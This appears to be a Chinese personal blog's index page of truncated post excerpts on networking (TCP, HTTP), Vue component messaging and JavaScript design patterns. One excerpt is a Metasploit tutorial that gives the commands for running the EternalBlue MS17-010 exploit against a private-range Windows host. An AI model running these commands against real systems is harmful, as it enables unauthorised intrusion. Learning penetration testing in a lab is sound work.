无题
Kali最强渗透工具 — metasploit打开metasploit工具msfconsole
msf使用法则:
使用模块——配置模块必选项——运行模块
metasploit攻击windows操作系统:
搜索微软漏洞:
search ms17_010
使用模块
use exploit/windows/smb/ms17_010_eternalblue
设置必选项
查看必选项【*required为yes的就是必选项】
show options
RHOST:目标地址
RPORT:目标端口(445)
Payload options 攻击载荷
LHOST:kali的端口
LPORT:0 – 66535
set RHOSTS 192.168.1.133
set lport 10001
运行
run
metasploit攻击永恒之蓝全流程:
使用模块
use exploit/windows/smb/ms17_010_eternalblue
设置必选项
查看必选项【*required为yes的就是必选项】
show options
set RHOSTS 192.168 ...
bus总线传值
场景:A组件有个点击按钮,点击后是跳转到B组件,在C组件的页面显示;C组件引用了B组件。
A组件:(传递者)
<Button type="primary" @click="preView">保存</Button>
preView() { let res = this.judgeEmpty(); if (!res.status) { return this.$Message.error(res.message); } if (this.isAudioUpload || this.isVideoUpload) { this.$Message.error("请等待文件上传完成"); return; } this.preViewData = this.dataArrange(); this.preViewShow = true; this. ...
TCP篇
2024.11.3TCP基本认识TCP头格式
序列号:在建立连接时由计算机生成的随机数作为其初始值,通过 SYN 包传给接收端主机,每发送一次数据,就「累加」一次该「数据字节数」的大小。用来解决网络包乱序问题。
确认应答号:指下一次「期望」收到的数据的序列号,发送端收到这个确认应答以后可以认为在这个序号以前的数据都已经被正常接收。用来解决丢包的问题。
控制位:
ACK:该位为 1 时,「确认应答」的字段变为有效,TCP 规定除了最初建立连接时的 SYN 包之外该位必须设置为 1 。
RST:该位为 1 时,表示 TCP 连接中出现异常必须强制断开连接。
SYN:该位为 1 时,表示希望建立连接,并在其「序列号」的字段进行序列号初始值的设定。
FIN:该位为 1 时,表示今后不会再有数据发送,希望断开连接。当通信结束希望断开连接时,通信双方的主机之间就可以相互交换 FIN 位为1 的 TCP 段。
2024.11.07为什么需要TCP协议?TCP工作在哪一层?IP层是[不可靠]的,它不保证网络包的交付、不保证网络包的按序交付、也不保证网络包中的数据的完整性。如果需要保障网络数据包的可 ...
图解HTTP
一、了解Web及网络基础1、网络基础TCP/IPTCP/IP协议族按层次分别为一下4层:应用层、传输层、网络层和数据链路层
应用层:HTTP
传输层:TCP、UDP
网络层:IP
数据链路层:网络
2、与HTTP关系密切的协议:IP、TCP和DNSIP地址指明了节点被分配到的地址,MAC地址是指网卡所属的固定地址。IP地址可以和MAC地址进行配对。IP地址可变换,但MAC地址基本上不会改变。
当不在同一局域网时,在进行中转时会利用下一站中转设备的MAC地址来搜索下一中转目标,会采用ARP协议
ARP:是一种用以解析地址的协议,根据通信方的IP地址就可以反查出对应的MAC地址。
用TCP协议把数据包送出去后,TCP不会对传达后的情况置之不理,它一定会向对方确认是否成功送达。握手过程中使用了TCP的标志——SYN和ACK。
发送端首先发送一个带有SYN标志的数据包给对方。接收端收到后,回传一个带有SYN/ACK标志的数据包以示传达确认信息。最后,发送端再回传一个带ACK标志的数据包,代表“握手”结束。
3、负责域名解析的DNS服务DNS服务是和HTTP协议一样 ...
HTTP篇
看本篇文章之前应先去看我的图解HTTP的博客
2024.10.19
HTTP基本概念HTTP 是超文本传输协议,也就是HyperText Transfer Protocol。
HTTP 的名字「超文本协议传输」,它可以拆成三个部分:
超文本
传输
协议
协议HTTP 是一个用在计算机世界里的协议。它使用计算机能够理解的语言确立了一种计算机之间交流通信的规范(两个以上的参与者),以及相关的各种控制和错误处理方式(行为约定和规范)。
传输HTTP 协议是一个双向协议。
在上网冲浪时,浏览器是请求方 A,百度网站就是应答方 B。双方约定用 HTTP 协议来通信,于是浏览器把请求数据发送给网站,网站再把一些数据返回给浏览器,最后由浏览器渲染在屏幕,就可以看到图片、视频了。
HTTP 是一个在计算机世界里专门用来在两点之间传输数据的约定和规范。
超文本HTTP 传输的内容是「超文本」。
「超文本」,它就是超越了普通文本的文本,它是文字、图片、视频等的混合体,最关键有超链接,能从一个超文本跳转到另外一个超文本。
HTML 就是最常见的超文本了,它本身只是纯文字文件,但内部用很多标签定义 ...
中介者模式
在我们生活的世界中,每个人每个物体之间都会产生一些错综复杂的联系。在应用程序里也一样,程序由大大小小的单一对象组成,所有这些对象都按照某种关系和规则来通信。
平时我们大概能记住10个朋友的电话、30家餐馆的位置。在程序里,也许一个对象会和其他10个对象打交道,所以它会保持10个对象的引用。当程序的规模增大,对象会越来越多,它们之间的关系也越来越复杂,难免会形成网状的交叉引用。当我们改变或删除其中个对象的时候,很可能需要通知所有引用到它的对象。这样一来,就像在心脏旁边拆掉一根毛细血管一般,唯一点很小的修改也必须小心翼翼。
面向对象设计鼓励将行为分布到各个对象中,把对象划分成更小的粒度,有助于增强对象的可复用性,但由于这些细粒度对象之间的联系激增,又有可能会反过来降低它们的可复用性。
中介者模式的作用就是解除对象与对象之间的紧耦合关系。增加一个中介者对象后,所有的相关对象都通过中介者对象来通信,而不是互相引用,所以当一个对象发生改变时,只需要通知中介者对象即可。中介者使各对象之间耦合松散,而且可以独立地改变它们之间的交互。中介者模式使网状的多对多关系变成了相对简单的一对多关系。
一、现 ...
计算机网络基础
在我第一次接触计网东西的时候是前端的浏览器页面右击检查,点开Network,发现里面的东西都不大了解,甚至看不懂这些是什么,但我知道这是和后端交互,给后端发送请求,学习计网时我的基础也只有2xx、3xx、4xx、5xx这些状态码的含义。其他一概不知。学习计网的第一天也是我实习的第一天。
计网的学习可以参照三本书《图解 TCP/IP》、《图解 HTTP》、《网络是怎么连接的》和 小林coding:https://xiaolincoding.com/,本站的所有计网有关的博客都是在小林coding上基于自己的理解写的。
接下来让我们开启计网的学习!
2024.10.8当键入网址后,到页面显示,其间发生了什么 这个面试题是我第一次面试时被面试官问到了,当时答的一塌糊涂,完全是想到什么说什么。
下面就用小林coding里面的网络拓扑模型作为例子,看看里面会发生什么?
首先浏览器做的第一步工作就是要对 URL 进行解析,从而生成发送给 Web 服务器的请求信息。
url里面有什么?见下图:
其中http和https是访问协议,其区别是 :
HTTP 是以明文方式发送内容,不提供任 ...
职责链模式
职责链的定义是:使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系,将这些对象连成一条链,并沿着这条链传递该请求,直到有一个对象处理它为止。
职责链模式的名字非常形象,一系列可能会处理请求的对象被连接成一条链,请求在这些对象之间传递,直到遇到一个可以处理它的对象,我们把这些对象称为链中的节点。
一、现实中的职责链模式职责链的模式在现实中并不难找到,以下就是两个常见的跟职责链模式有关的场景:
如果早高峰能顺利挤上公交车的话,那么估计这一天都会过的很开心。因为公交车上人实在太多了,经常上车后却找不到售票员在哪,所以只好把两块钱硬币往前面递。除非你运气够好,站在你前面的第一个人就是售票员,否则,你的硬币通常要在N个人手上传递,才能最终到达售票员的手里。
中学时代的期末考试,如果你平时不太老实,考试时就会被安排在第一个位置。遇到不会答的题目,就把题目编号写在小纸条上往后传递,坐在后面的同学如果也不会答,他就会把这张小纸条继续递给他后面的人。
从这两个例子中,我们很容易找到职责链模式的最大优点:请求发送者只需要知道链中第一个节点,从而弱化了发送者和一组接收者之间的强联系。 ...
享元模式
享元(flyweight)模式是一种用于性能优化的模式,”fly”在这里是苍蝇的意思,意为蝇最级。享元模式的核心是运用共享技术来有效支持大量细粒度对象。
如果系统中因为创建了大量类似的对象而导致内存占用过高,享元模式就非常有用了。在JavaScript中,浏览器特别是移动端的浏览器分配的内存并不算多,如何节省内存就成了一件非常有意义的事情。
一、初识享元模式假设有个内衣工厂,目前的产品有50种男式内衣和50种女士内衣,为了推销产品,工厂决定生产一些塑料模特来穿上他们的内衣拍成广告照片。正常情况下需要50个男模特和50个女模特,然后让他们每人分别穿上一件内衣来拍照。不使用享元模式的情况下,在程序里也许会这样写:
var Model = function( sex, underwear){ this.sex = sex; this.underwear = underwear;};Model.prototype.takePhoto = function(){ console.log('sex=' + this.sex + & ...
模板方法模式
在JavaScript开发中用到集成的场景其实并不是很多,很多时候我们都喜欢用mix-in的方式给对象扩展属性。但这不代表继承在JavaScript里没有用武之地,虽然没有真正的类和继承机制,但我们可以通过原型prototype来变相地实现继承。
基于继承的设计模式——模块方法模式
一、模块方法模式的定义和组成模块方法模式是一种只需使用继承就可以实现的非常简单的模式。
模块方法模式由两部分结构组成,第一部分是抽象父类,第二部分是具体的实现子类。通常在抽象父类中封装了子类的算法框架,包括实现一些公共方法以及封装子类中所有方法的执行顺序。子类通过继承这个抽象类,也继承了整个算法结构,并且可以选择重写父类的方法。
假如我们有一些平行的子类,各个子类之间有一些相同的行为,也有一些不同的行为。如果相同和不同的行为都混合在各个子类的实现中,说明这些相同的行为会在各个子类中重复出现。但实际上,相同的行为可以被搬移到另外一个单一的地方,模板方法模式就是为了解决这个问题而生的。在模板方法模式中,子类实现中的相同部分被上移到父类中,而将不同的部分留待子类来实现。这也很好地体现了泛化的思想。
二、第一个例子 ...